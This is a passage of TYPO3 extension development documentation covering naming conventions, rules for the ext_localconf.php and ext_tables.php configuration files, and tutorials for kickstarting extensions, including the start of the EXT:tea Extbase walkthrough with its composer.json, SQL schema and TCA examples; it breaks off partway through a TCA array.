The ExtensionName is used as first parameter in the Extbase methods ExtensionUtility::configurePlugin() or ExtensionUtility::registerModule().

modkey
The backend module key.
Public extensions
Public extensions are publicly available. They are usually registered in TER and available via Packagist.
Private extensions
These are not published to the TER or Packagist.

Some of these "Conventions" are actually mandatory, meaning you will most likely run into problems if you do not adhere to them.

We very strongly recommend to always use these naming conventions. Hard requirements are emphasized by using the words MUST, etc. as specified in RFC 2119. SHOULD or MAY indicate a soft requirement: strongly recommended but will usually work, even if you do not follow the conventions.

Extension key (extkey)

The extension key (extkey) is used as is in:

  • directory name of extension in typo3conf/ext (or typo3/sysext for system extensions)

Derived names are:

  • package name in composer.json <vendor-name>/<package-name>. Underscores (_) should be replaced by dashes (-)
  • namespaces: Underscores in the extension key are removed by converting the extension key to UpperCamelCase in namespaces (e.g. cool_shop becomes MyVendor\CoolShop).
  1. The extkey MUST be unique within your installation.
  2. The extkey MUST be made up of lowercase alphanumeric characters and underscores only and MUST start with a letter.
  3. More, see extension key
Examples for extkeys:
  • cool_shop
  • blog

Examples for names that are derived from the extkey:

Here, the extkey is my_extension:

  • namespace: MyVendor\MyExtension\...
  • package name in composer.json: vendor-name/my-extension (the underscore is replaced by a dash)

Vendor name

The vendor name is used in:

  • namespaces
  • package name in composer.json, e.g. myvendor/cool-shop (all lowercase)

Use common PHP naming conventions for vendor names in namespaces and check PSR-0. There are currently no strict rules, but commonly used vendor names begin with a capital letter, followed by all lowercase.

The vendor name (as well as the extkey) is spelled with all lowercase when used in the package name in the file composer.json

For the following examples, we assume:

  • the vendor name is MyCompany
  • the extkey is my_example
Examples:
  • Namespace: MyCompany\MyExample\...
  • package name (in composer.json): my-company/my-example

Database table name

These rules apply to public extensions, but should be followed nevertheless.

Database table names should follow this pattern:

tx_<extkeyprefix>_<table_name>
Copied!
  • <extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
  • <table_name> should clearly describe the purpose of the table

Examples for an extension named cool_shop:

  • tx_coolshop_product
  • tx_coolshop_category

Extbase domain model tables

Extbase domain model tables should follow this pattern:

tx_<extkeyprefix>_domain_model_<model-name>
Copied!
  • <extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
  • <model-name> should match the domain model name

Examples for Extbase domain models and table names of an extension named cool_shop:

Domain model Table name
\Vendor\BlogExample\Domain\Model\Post \Vendor\CoolShop\Domain\Model\Tag \Vendor\CoolShop\Domain\Model\ProcessedOrder \Vendor\CoolShop\Domain\Model\Billing\Address tx_blogexample_domain_model_post tx_coolshop_domain_model_tag tx_coolshop_domain_model_processedorder tx_coolshop_domain_model_billing_address

MM-tables for multiple-multiple relations between tables

MM tables (for multiple-multiple relations between tables) follow these rules.

Extbase:

# rule for Extbase
tx_<extkeyprefix>_domain_model_<model-name-1>_<model-name-2>_mm
# example: EXT:blog with relation between post and comment
tx_blogexample_domain_model_post_comment_mm
Copied!

Non-Extbase tables usually use a similar rule, without the "domain_model" part:

# recommendation for non-Extbase third party extensions
tx_<extkeyprefix>_<model-1>_<model-2>_mm
# Example
tx_myextension_address_category_mm

# example for TYPO3 core:
sys_category_record_mm
Copied!

Database column name

When extending a common table like tt_content, column names SHOULD follow this pattern:

tx_<extkeyprefix>_<column-name>
Copied!
  • <extkeyprefix> is the extension key without underscores, so foo_bar becomes foobar
  • <column-name> should clearly describe the purpose of the column

Backend module key (modkey)

The main module key SHOULD contain only lowercase characters. Do not use an underscore or dash.

The submodule key MUST be made up of alphanumeric characters only. It MAY contain underscores and MUST start with a letter.

Example:
  • Coolshop

Example usage:

EXT:my_extension/ext_tables.php
// Module System > Backend Users
\TYPO3\CMS\Extbase\Utility\ExtensionUtility::registerModule(
    // ExtensionName
    'CoolShop',
    // Main module key (use existing main module 'web' here)
    'web',
    // Submodule key
    'ProductManagement'
    // ...
);
Copied!

Backend module signature

The backend module signature is a derived identifier which is constructed by TYPO3 when the module is registered.

The signature is usually constructed by using the main module key and submodule key, separated by an underscore. Conversions, such as underscore to UpperCamelCase or conversions to lowercase may be applied in this process.

Examples (from TYPO3 core extennsions):

  • web_info
  • web_FormFormbuilder
  • site_redirects

Plugin key

The plugin key is registered in:

  • second parameter in registerPlugin() (Extbase)
  • or in addPlugin() (for non Extbase plugins)

The same plugin key is then used in the following:

  • second parameter in configurePlugin() (Extbase): MUST match registered plugin key exactly
  • the plugin signature
  • in TypoScript, e.g. plugin.tx_myexample_myplugin
  • in TCA
  • etc.

The plugin key can be freely chosen by the extension author, but you SHOULD follow these conventions:

  • do not use underscore
  • use UpperCamelCase, e.g. InventoryList
  • use alphanumeric characters

For the plugin key, Pi1, Pi2 etc. are often used, but it can be named differently.

The plugin key used in registerPlugin() and configurePlugin() MUST match.

Plugin signature

The plugin signature is automatically created by TYPO3 from the extension key and plugin key.

For this, all underscores in extension key are omitted and all characters lowercased. The extkey and plugin key are separated by an underscore (_):

extkey_pluginkey

The plugin signature is used in:

  • the database field tt_content.list_type
  • when defining a FlexForm to be used for the plugin in addPiFlexFormValue()
Examples:

Assume the following:

  • extkey is my_extension
  • plugin key is InventoryList

The derived name for the "plugin signature" is:

  • myextension_inventorylist This is used in tt_content.list_type and as first parameter of addPiFlexFormValue().

Class name

Class names SHOULD be in UpperCamelCase.

Examples:
  • CodeCompletionController
  • AjaxController

Upgrade wizard identifier

You SHOULD use the following naming convention for the identifier:

extKey_wizardName

This is not enforced.

Please see Wizard identifier in the Upgrade Wizard chapter for further explanations.

Note on "old" extensions

Some the "classic" extensions from before the extension structure came about do not comply with these naming conventions. That is an exception made for backwards compatibility. The assignment of new keys from the TYPO3 Extension Repository will make sure that any of these old names are not accidentally reassigned to new extensions.

Furthermore, some of the classic plugins (tt_board, tt_guest etc) use the "user_" prefix for their classes as well.

Further reading

Configuration Files (ext_tables.php & ext_localconf.php)

The files ext_tables.php and ext_localconf.php contain configuration used by the system and in requests. They should therefore be optimized for speed.

See File structure for a full list of file and directory names typically used in extensions.

Changed in version 11.4

With TYPO3 v11.4 the files ext_localconf.php and ext_tables.php are scoped into the global namespace on warmup of the cache. Therefore, use statements can now be used inside these files.

Rules and best practices

The following apply for both ext_tables.php and ext_localconf.php.

As a rule of thumb: Your ext_tables.php and ext_localconf.php files must be designed in a way that they can safely be read and subsequently imploded into one single file with all configuration of other extensions.

  • You must not use a return statement in the file's global scope - that would make the cached script concept break.
  • You must not rely on the PHP constant __FILE__ for detection of the include path of the script - the configuration might be executed from a cached file with a different location and therefore such information should be derived from, for example, \TYPO3\CMS\Core\Utility\GeneralUtility::getFileAbsFileName() or \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::extPath().
  • You must not wrap the file in a local namespace. This will result in nested namespaces.

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    -namespace {
    -}
    Copied!
  • You can use use statements starting with TYPO3 v11.4:

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    // you can use use:
    +use TYPO3\CMS\Core\Resource\Security\FileMetadataPermissionsAspect;
    +
    +$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['processDatamapClass'][] =
    +   FileMetadataPermissionsAspect::class;
    // Instead of the full class name:
    -$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['processDatamapClass'][] =
    -   \TYPO3\CMS\Core\Resource\Security\FileMetadataPermissionsAspect::class;
    Copied!
  • You can use declare(strict_types=1) and similar directives which must be placed at the very top of files. They will be stripped and added once in the concatenated cache file.

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    // You can use declare strict and other directives
    // which must be placed at the top of the file
    +declare(strict_types=1);
    Copied!
  • You must not check for values of the removed TYPO3_MODE or TYPO3_REQUESTTYPE constants (for example, if (TYPO3_MODE === 'BE')) or use the \TYPO3\CMS\Core\Http\ApplicationType class within these files as it limits the functionality to cache the whole configuration of the system. Any extension author should remove the checks, and re-evaluate if these context-depending checks could go inside the hooks / caller function directly, for example, do not:

    Diff of EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    // do NOT do this:
    -if (TYPO3_MODE === 'BE')
    Copied!
  • You should check for the existence of the constant defined('TYPO3') or die(); at the top of ext_tables.php and ext_localconf.php files right after the use statements to make sure the file is executed only indirectly within TYPO3 context. This is a security measure since this code in global scope should not be executed through the web server directly as entry point.

    EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
    <?php
    use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;
    
    // put this at top of every ext_tables.php and ext_localconf.php right after
    // the use statements
    defined('TYPO3') or die();
    Copied!
  • You must use the extension name (for example, "tt_address") instead of $_EXTKEY within the two configuration files as this variable is no longer loaded automatically.
  • However, due to limitations in the TYPO3 Extension Repository, the $_EXTKEY option must be kept within an extension's ext_emconf.php file.
  • You should use a directly called closure function to encapsulate all locally defined variables and thus keep them out of the surrounding scope. This avoids unexpected side-effects with files of other extensions.

The following example contains the complete code:

EXT:my_extension/ext_localconf.php | EXT:my_extension/ext_tables.php
<?php
declare(strict_types=1);

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

(function () {
    // Add your code here
})();
Copied!

Additionally, it is possible to extend TYPO3 in a lot of different ways (adding TCA, backend routes, Symfony console commands, etc), which do not need to touch these files.

Software Design Principles

The following principles are considered best practices and are good to know when you develop extensions for TYPO3.

We also recommend to study common software design patterns.

Tutorials

There are different options to kickstart an extension. This chapter offers tutorials for some common methods to kickstart an extension.

tea is a simple, well-tested extension based on Extbase.

This tutorial guides you through the different files, configuration formats and PHP classes needed for an Extbase extension. Automatic tests are not covered in this tutorial. Refer to the extensions manual for this topic.

Kickstart an Extension

There are different options to kickstart an extension. Here are some tutorials for common options:

Create an extension from scratch
  • Create a directory with the extension name
  • Create the composer.json file
  • Create the ext_emconf.php file for legacy installations and extensions to be uploaded to TER

"Make" can be used to quickly create an extension with a few basic commands on the console. "Make" can also be used to kickstart functionality like console command (CLI), backend controllers and event listeners. It does not offer to kickstart a sitepackage or an Extbase extension.

The Sitepackage Builder can be used to conveniently create an extension containing the sitepackage (theme) of a site. It can also be used to kickstart an arbitrary extension by removing unneeded files.

The Extension Builder helps you to develop a TYPO3 extension based on the domain-driven MVC framework Extbase and the templating engine Fluid.

Make

Kickstart a TYPO3 Extension with "Make"

"Make" is a TYPO3 extension provided by b13. It features a quick way to create a basic extension scaffold on the console. The extension is available for TYPO3 v10 and above.

1. Install "Make"

In Composer-based TYPO3 installations you can install the extension via Composer, you should install it as dev dependency as it should not be used on production systems:

composer req b13/make --dev
Copied!
ddev composer req b13/make --dev
Copied!

To install the extension on legacy installations, download it from the TYPO3 Extension Repository (TER), extension "make".

2. Kickstart an extension

Call the CLI script on the console:

vendor/bin/typo3 make:extension
Copied!
ddev exec vendor/bin/typo3 make:extension
Copied!
typo3/sysext/core/bin/typo3 make:extension
Copied!

3. Answer the prompt

"Make" will now answer some questions that we describe here in-depth:

Enter the composer package name (e.g. "vendor/awesome"):

A valid composer package name is defined in the getcomposer name scheme.

The vendor should be a unique name that is not yet used by other companies or developers.

Example: my-vendor/my-test

Enter the extension key [my_test]:
The extension key should follow the rules for best practises on choosing an extension key if you plan to publish your extension. In most cases, the default, here my_test, is sufficient. Press enter to accept the default or enter another name.
Enter the PSR-4 namespace [T3docs/MyTest]:
The namespace has to be unique within the project. Usually the default should be unique, as your vendor is unique, and you can accept it by pressing enter.
Choose supported TYPO3 versions (comma separate for multiple) [TYPO3 v11 LTS]:
If you want to support both TYPO3 v11 and v12, enter the following: 11,12
Enter a description of the extension:
A description is mandatory. You can change it later in the file composer.json of the extension.
Where should the extension be created? [src/extensions/]:
If you have a special path for installing local extensions like local_packages enter it here. Otherwise you can accept the default.
May we add a basic service configuration for you? (yes/no) [yes]:
If you choose yes "Make" will create a basic Configuration/Services.yaml to configure dependency injection.
May we create a ext_emconf.php for you? (yes/no) [no]:
Mandatory for extensions supporting TYPO3 v10. Starting with v11: If your extension should be installable in legacy TYPO3 installations choose yes. This is not necessary for local extensions in composer-based installations.

4. Have a look at the result

"Make" created a subfolder under src/extensions with the composer name (without vendor) of your extension. By default, it contains the following files:

Page tree of directory src/extensions
$ tree src/extensions
└── my-test
    ├── Classes
    ├── Configuration
    |   └── Services.yaml (optional)
    ├── composer.json
    └── ext_emconf.php (optional)
Copied!

5. Install the extension

On composer-based installations the extension is not installed yet. It will not be displayed in the Extension Manager in the backend.

To install it, open the main composer.json of your project (not the one in the created extension) and add the extension directory as new repository:

my_project_root/composer.json
{
    "name": "my-vendor/my-project",
    "repositories": {
        "0_local_packages": {
            "type": "path",
            "url": "src/extensions/*"
        }
    },
    "...": "..."
}
Copied!

Then require the extension on composer-based systems, using the composer name defined in the prompt of the script:

composer req t3docs/my-test:@dev
Copied!
ddev composer req my-vendor/my-test:@dev
Copied!

Activate the extension in the Extension Manager.

6. Add functionality

The following additional commands are available to add more functionality to your extension:

Read more:

Create a new backend controller

If you do not have one yet, create a basic extension to put the controller in.

vendor/bin/typo3 make:backendcontroller
Copied!
typo3/sysext/core/bin/typo3 make:backendcontroller
Copied!

You will be prompted with a list of installed extensions. If your newly created extension is missing, check if you installed it properly.

When prompted, choose a name and path for the backend controller. The following files will be generated, new or changed files marked with a star (*):

Page tree of directory src/extensions
$ tree src/extensions
└── my-test
    ├── Classes
    |   └── Backend (*)
    |   |   └── Controller (*)
    |   |   |   └── MyBackendController.php (*)
    ├── Configuration
    |   ├── Backend (*)
    |   |   └── Routes.php (*)
    |   └── Services.yaml (*)
    ├── composer.json
    └── ext_emconf.php
Copied!

Learn how to turn the backend controller into a full-fledged backend module in the chapter Backend modules.

Create a new console command

The "Make" extension can be used to create a new console command:

vendor/bin/typo3 make:command
Copied!
typo3/sysext/core/bin/typo3 make:command
Copied!

You will be prompted with a list of installed extensions. If your newly created extension is missing, check if you installed it properly.

Enter the command name to execute on CLI [myextension:dosomething]:
This name will be used to call the command later on. It should be prefixed with your extensions name without special signs. It is considered best practise to use the same name as for the controller, in lowercase.
Should the command be schedulable? (yes/no) [no]:
If you want the command to be available in the backend in module System > Scheduler choose yes. If it should be only callable from the console, for example if it prompts for input, choose no.

Have a look at the created files

The following files will be created or changed:

Page tree of directory src/extensions
$ tree src/extensions
└── my-test
    ├── Classes
    |   └── Command (*)
    |   |   └── DoSomethingCommand.php (*)
    ├── Configuration
    |   └── Services.yaml (*)
    ├── composer.json
    └── ext_emconf.php
Copied!

Call the new command

After a new console command was created you have to delete the cache for it to be available, then you can call it from the command line:

vendor/bin/typo3 cache:flush
vendor/bin/typo3 myextension:dosomething
Copied!
typo3/sysext/core/bin/typo3 cache:flush
typo3/sysext/core/bin/typo3 myextension:dosomething
Copied!

Next steps

You can now follow the console command tutorial and learn how to use arguments, user interaction, etc.

Sitepackage Builder

The main incentive of the Sitepackage Builder is a quick and easy way to create a new sitepackage, what would be called "theme" in other CMS, for your project. See the Sitepackage Tutorial for details on sitepackages.

Kickstart a TYPO3 Extension with the "Sitepackage Builder"

The Sitepackage Builder can also be used to kickstart a basic extension. You can do so by choosing Fluid Styled Content as base package and then remove all files and dependencies that are not needed.

See Kickstart a Minimal Extension with the Sitepackage Builder.

Minimal extension

Kickstart a minimal extension with the Sitepackage Builder

Learn how to create a minimal extension that contains a single PHP class.

Video - "Tech Tip - Minimal Extension"

The following video was produced in 2018 on TYPO3 v9. While some details have changed since then, most parts remain the same. See the step-by-step guide below.

Minimal extension - step-by-step

  1. Create a new sitepackage

    Head over to the Site Package Builder.

    Choose your desired TYPO3 version and Fluid Styled Content as a base package.

    Fill in the other fields. Download the site package stub.

    You can find the code as it was produced at the time this tutorial was written for TYPO3 v11 at speeddemo v1.0.0.

  2. Install the extension locally

    See Extension installation.

  3. Remove all the fluff

    The sitepackage builder creates many files that you don't need for this simple extension.

    You can delete the directories Build and Configuration. Delete all sub folders of Classes. Delete all files and folders within Resources except Resources/Public/Icons/Extension.svg.

    Delete all files on root level except composer.json and ext_emconf.php. See what is left at speeddemo v1.1.0.

  4. The namespace and PSR-4 autoloading

    TYPO3 features PSR-4 autoloading. If a PHP class is within the correct namespace and path it will be available automatically.

    Now what is the correct namespace for your extension? Look for the keyword "autoload" in the composer.json of your extension. You will find something like this:

    EXT:speeddemo/composer.json
    {
        "name": "typo3-documentation-team/speeddemo",
        "type": "typo3-cms-extension",
        "...": "...",
        "autoload": {
            "psr-4": {
                "Typo3DocumentationTeam\\Speeddemo\\": "Classes/"
            }
        },
    }
    Copied!

    The key in the array "psr-4" is your namespace: \Typo3DocumentationTeam\Speeddemo. Note: the backspace needs to be escaped by another backspace in json.

  5. Create a PHP class

    It is recommended, but not enforced, to put your class in a thematic subfolder. We will create a subfolder called Classes/UserFunctions.

    In this folder we create a class in file MyClass.php.

    The class in the file must have the same name as the file, otherwise it will be not found by autoloading. It must have a namespace that is a combination of the namespace defined in step 4 and its folder name(s). The complete class would look like this so far:

    EXT:speeddemo/Classes/UserFunctions/MyClass.php
    <?php
    
    declare(strict_types=1);
    
    namespace Typo3DocumentationTeam\Speeddemo\UserFunctions;
    
    class MyClass
    {
    
    }
    Copied!

    The extension now looks like speeddemo v1.2.0.

  6. Add a simple method to the class

    For demonstration reasons we add a simple method to the class that returns a string:

    EXT:speeddemo/Classes/UserFunctions/MyClass.php
    class MyClass
    {
        public function myMethod(): string
        {
            return 'Here I go again on my own';
        }
    }
    Copied!

    The extension now looks like speeddemo v1.3.0.

  7. Get the result of the function displayed

    Add some TypoScript to your sitepackage's TypoScript setup or the main TypoScript Template if you still keep your TypoScript in the backend (not recommended anymore).

    EXT:my_sitepackage/TypoScript/Setup/Page.typoscript
    page = PAGE
    // ...
    page.1 = USER
    page.1.userFunc = Typo3DocumentationTeam\Speeddemo\UserFunctions\MyClass->myMethod
    Copied!

    The string used in the property userFunc is the fully qualified name (FQN) of the class. That is the namespace followed by a backslash and then the classname. To this we append the name of the method to be called with a minus and greater-than sign ( ->).

    It is unnecessary to tell TYPO3 where the file of the class is located. If the namespace and location of the PHP file are correct as described above, the class will be found automatically.

    In rare cases composer autoloading might have a hiccup, then you can try to regenerate the autoloading files:

    Execute on your projects root level
    composer dump-autoload
    Copied!

Bonus: make the extension available for v12

At the time of writing this tutorial, the sitepackage builder was not available for TYPO3 v12 yet. However, as no deprecated functionality was used in creating this extension, it should be straightforward to update.

You would use the same process if you need to update your extension for a future TYPO3 version.

We can remove the requirements typo3/cms-rte-ckeditor and typo3/cms-fluid-styled-content from the composer.json as they are not needed by our extension.

The remaining requirement is typo3/cms-core. We now define that not only TYPO3 v11.5.x is allowed but also v12.x:

EXT:speeddemo/composer.json
{
    "name": "typo3-documentation-team/speeddemo",
    "type": "typo3-cms-extension",
    // ...
    "require": {
        "typo3/cms-core": "^11.5 || ^12.0"
    },
}
Copied!

Now we change the requirements in the file ext_emconf.php. This way the extension could also be installed manually in legacy TYPO3 installations:

EXT:speeddemo/ext_emconf.php
$EM_CONF[$_EXTKEY] = [
    'title' => 'speeddemo',
    // ...
    'constraints' => [
        'depends' => [
            'typo3' => '11.5.0-12.4.99',
        ],
    ],
]
Copied!

The extension now looks like speeddemo v1.4.0 and can be installed in both TYPO3 v11 and v12.

Next steps

You don't have a sitepackage yet? Have a look at the Sitepackage Tutorial.

If you want to display lists and single views of data, or maybe even manipulate the data in the frontend, have a look at Extbase.

If you need a script that can be executed from the command line or from a cron job, have a look at Symfony console commands (CLI).

Tea in a nutshell

The example extension EXT:tea was created as an example of best practises on automatic code checks.

In this manual, however we will ignore the testing and just explain how this example extension works. The extension demonstrates basic functionality and is very well tested.

Steps in this tutorial:

  1. Extension configuration and installation

    Create the files needed to have a minimal running extension and install it.

  2. Directory structure

    Have a look at the directory structure of the example extension and learn which files should go where.

  3. The model

    We define a database schema and make it visible to TYPO3. Then we create a PHP class as a model of the real-life tea flavour.

  4. The Repository

    The repository helps us to fetch tea objects from the database.

  5. The controller

    The controller controls the flow of data between the view and the data repository containing the model.

Create an extension

For an extension to be installable in TYPO3 it needs a file called composer.json. You can read more about this file here: composer.json.

A minimal composer.json to get the extension up and running could look like this:

EXT:tea/composer.json
{
    "name": "ttn/tea",
    "description": "TYPO3 example extension for unit testing and best practices",
    "type": "typo3-cms-extension",
    "authors": [
        {
            "name": "Oliver Klee",
            "email": "typo3-coding@oliverklee.de",
            "homepage": "https://www.oliverklee.de",
            "role": "developer"
        }
    ],
    "homepage": "https://extensions.typo3.org/extension/tea/",
    "support": {
        "issues": "https://github.com/TYPO3-Documentation/tea/issues",
        "source": "https://github.com/TYPO3-Documentation/tea",
        "docs": "https://docs.typo3.org/p/ttn/tea/main/en-us/"
    },
    "require": {
        "php": "~7.4.0 || ~8.0.0 || ~8.1.0",
        "typo3/cms-core": "^11.5.2 || ^12.0@dev",
        "typo3/cms-extbase": "^11.5.2 || ^12.0@dev",
        "typo3/cms-fluid": "^11.5.2 || ^12.0@dev",
        "typo3/cms-frontend": "^11.5.2 || ^12.0@dev"
    },
    "prefer-stable": true,
    "autoload": {
        "psr-4": {
            "TTN\\Tea\\": "Classes/"
        }
    },
    "extra": {
        "typo3/cms": {
            "extension-key": "tea"
        }
    }
}
Copied!
EXT:tea/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Tea example',
    'description' => 'Example extension for unit testing and best practices',
    'version' => '2.0.0',
    'category' => 'example',
    'constraints' => [
        'depends' => [
            'php' => '8.0.0-8.1.99',
            'typo3' => '11.5.0-12.4.99',
            'extbase' => '11.5.0-12.4.99',
            'fluid' => '11.5.0-12.4.99',
            'frontend' => '11.5.0-12.4.99',
        ],
    ],
    'state' => 'stable',
    'uploadfolder' => false,
    'createDirs' => '',
    'author' => 'Oliver Klee',
    'author_email' => 'typo3-coding@oliverklee.de',
    'author_company' => 'TYPO3 Trainer Network',
    'autoload' => [
        'psr-4' => [
            'TTN\\Tea\\' => 'Classes/',
        ],
    ],
    'autoload-dev' => [
        'psr-4' => [
            'TTN\\Tea\\Tests\\' => 'Tests/',
        ],
    ],
];
Copied!

With just the composer.json present (and for legacy installations additionally ext_emconf.php) you would be able to install the extension but it would not do anything.

Though not required it is considered best practice for an extension to have an icon. This icon should have the format .svg or .png and has to be located at EXT:tea/Resources/Public/Icons/Extension.svg.

Install the extension locally

See Extension installation.

Create a directory structure

Extbase requires or defaults to a certain directory structure. It is considered best practise to always stick to this structure.

On the first level EXT:tea has the following structure:

Directory structure of EXT:tea
$ tree /path/to/extension/tea
├── Classes
├── Configuration
├── Documentation
├── Resources
├── Tests
├── composer.json
├── ext_emconf.php
├── ...
└── README.md
Copied!

Directory Classes

The folder Classes should contain all PHP classes provided by the extension. Otherwise they are not available in the default autoloading.

See also the general chapter on the folder Classes.

In the composer.json we have defined that all PHP classes are automatically loaded from the Classes directory (and additionally in file:ext_emconf.php for legacy installations):

EXT:tea/composer.json, extract
{
    "name": "ttn/tea",
    "autoload": {
        "psr-4": {
            "TTN\\Tea\\": "Classes/"
        }
    }
}
Copied!
EXT:tea/ext_emconf.php, extract
$EM_CONF[$_EXTKEY] = [
    'autoload' => [
        'psr-4' => [
            'TTN\\Tea\\' => 'Classes/',
        ],
    ],
];
Copied!

The key of the psr-4 array, here 'TTN\\Tea\\' defines the namespace that all classes in this directory must be situated in to be found by the PSR-4 autoloading.

The folder Classes contains several subfolders:

Directory structure of EXT:tea
$ tree path/to/extension/tea
├── Classes
    ├── Controller
    ├── Domain
    |   ├── Model
    |   └── Repository
    └──  ViewHelpers
Copied!

Extbase is based on the pattern Model-View-Controller (MVC). And you can already find directories for the model and the controller here.

In most cases the view is handled by classes provided by the framework and configured via templating. Therefore there is no folder for the view as a whole.

Additional logic needed for the view can be provided by ViewHelpers and should be stored in the according folder.

Directory Configuration

See also the general chapter on the folder Configuration.

The folder Configuration contains several subfolders:

Directory structure of EXT:tea
$ tree path/to/extension/tea
├── Configuration
    ├── FlexForms
    ├── TCA
    |   └── Overrides
    ├── TsConfig
    |   ├── Page
    |   └── User
    ├── TypoScript
    |   ├── constants.typoscript
    |   └── setup.typoscript
    └──  Services.yaml
Copied!
Configuration/FlexForms
Contains the configuration of additional input fields to configure plugins in the format FlexForm.
Configuration/TCA
Contains the TYPO3 configuration array (TCA) as PHP arrays.
Configuration/TCA/Overrides
Can be used to extend the TCA of other extensions. They can be extended by direct array manipulation or (preferred if possible) by calls to API functions.
Configuration/TsConfig
Contains TSconfig configurations for the TYPO3 backend on page or user level in the syntax of TypoScript. This extension does not feature TSconfig, therefore the folder is only a placeholder here.
Configuration/TypoScript
Contains TypoScript configurations for the frontend. In some contexts the configuration contained here is also considered in the backend.
Configuration/Services.yaml
Is used to configure technical aspects of the extension including automatic wiring, automatic configuration and options for dependency injection. See also Services.yaml.

Directory Documentation

The folder Documentation contains the files from which the documentation is rendered. See Documentation.

Directory Resources

See also the general chapter on the folder Resources.

The folder Resources contains two sub folders that are further divided:

Directory structure of EXT:tea
$ tree /path/to/extension/tea
├── Resources
    ├── Private
    |   ├── Language
    |   ├── Layouts
    |   ├── Partials
    |   └── Templates
    └── Public
        ├── CSS
        ├── Icons
        ├── Images
        └── JavaScript
Copied!
Resources/Private
All resource files that do not have to be loaded directly by a browser should go in this directory. This includes Fluid templating files and localization files.
Resources/Public
All resource files have to be loaded directly by a browser must go in this directory. Otherwise they are not accessible depending on the setup of the installation.

Directory Tests

Contains the automatic tests. This topic is not covered by this tutorial.

Model: a bag of tea

We keep the model basic: Each tea can have a title, a description, and an optional image.

Teatitledescriptionimage

The title and description are strings, the image is stored as a relation to the model class \TYPO3\CMS\Extbase\Domain\Model\FileReference , provided by Extbase.

The database model

Let us translate this into SQL and store the schema in a file called ext_tables.sql:

EXT:tea/ext_tables.sql
CREATE TABLE tx_tea_domain_model_product_tea (
    title       varchar(255)     DEFAULT ''  NOT NULL,
    description varchar(2000)    DEFAULT ''  NOT NULL,
    image       int(11) unsigned DEFAULT '0' NOT NULL
);
Copied!

The image is stored as an integer. However the field image in the database does not contains a reference to the image in form of an identifier.

The field image keeps track of the number of attached images. A separate table, a so-called MM table, stores the actual relationship. Read about the definition of this field here: The image field.

TCA - Table Configuration Array

The TCA tells TYPO3 about the database model. It defines all fields containing data and all semantic fields that have a special meaning within TYPO3 (like the deleted field which is used for soft deletion).

The TCA also defines how the corresponding input fields in the backend should look.

The TCA is a nested PHP array. In this example, we need the the following keys on the first level:

ctrl
Settings for the complete table, such as a record title, a label for a single record, default sorting, and the names of some internal fields.
columns
Here we define all fields that can be used for user input in the backend.
types
We only have one type of tea record, however it is mandatory to describe at least one type. Here we define the order in which the fields are displayed in the backend.

TCA ctrl - Settings for the complete table

EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php
[
    'ctrl' => [
        'title' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_product_tea',
        'label' => 'title',
        'tstamp' => 'tstamp',
        'crdate' => 'crdate',
        'delete' => 'deleted',
        'default_sortby' => 'title',
        'iconfile' => 'EXT:tea/Resources/Public/Icons/Record.svg',
        'searchFields' => 'title, description',
    ],
]
Copied!

title

Defines the title used when we are talking about the table in the backend. It will be displayed on top of the list view of records in the backend and in backend forms.

The title of the tea table.

Strings starting with LLL: will be replaced with localized text. See chapter Extension localization. All other strings will be output as they are. This title will always be output as "Tea" without localization:

EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php
[
    'ctrl' => [
        'title' => 'Tea',
    ],
]
Copied!

label

The label is used as name for a specific tea record. The name is used in listings and in backend forms:

The label of a tea record.

tstamp, deleted, ...

These fields are used to keep timestamp and status information for each record. You can read more about them in the TCA Reference, chapter ctrl <t3tca:ctrl>.

TCA columns - Defining the fields

All fields that can be changed in the TYPO3 backend or used in the Extbase model have to be listed here. Otherwise they will not be recognized by TYPO3.

The title field is defined like this:

EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php
[
    'columns' => [
        'title' => [
            'label' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_product_tea.title',
            'config' => [
                'type' => 'input',
                'size' => 40,
                'max' => 255,
                'eval' => 'trim',
                'required' => true,
            ],
        ],
    ],
]
Copied!

The title of the field is displayed above the input field. The type is a (string) input field. The other configuration values influence display (size of the input field) and or processing on saving ( 'eval' => 'trim' removes whitespace).

You can find a complete list of available input types and their properties in the TCA Reference, chapter "Field types (config > type)".

The other text fields are defined in a similar manner.

The image field

The image field is a special case, as it is created by a call to the API function \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::getFileFieldTCAConfig(). This method returns a preconfigured array, and saves you from writing a long and complicated configuration array.

EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php
[
    'columns' => [
        'image' => [
            'label' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_product_tea.image',
            'config' => \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::getFileFieldTCAConfig(
                'image',
                [
                    'maxitems' => 1,
                    'appearance' => [
                        'collapseAll' => true,
                        'useSortable' => false,
                        'enabledControls' => [
                            'hide' => false,
                        ],
                    ],
                ]
            ),
        ],
    ],
];
Copied!

The array generated by the method ExtensionManagementUtility::getFileFieldTCAConfig() looks like this:

EXT:tea/Configuration/TCA/tx_tea_domain_model_product_tea.php
[
    'columns' => [
        'image' => [
            'label' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_product_tea.image',
            'config' => [
                'type' => 'inline',
                'foreign_table' => 'sys_file_reference',
                'foreign_field' => 'uid_foreign',
                'foreign_sortby' => 'sorting_foreign',
                'foreign_table_field' => 'tablenames',
                'foreign_match_fields' => [
                    'fieldname' => 'image',
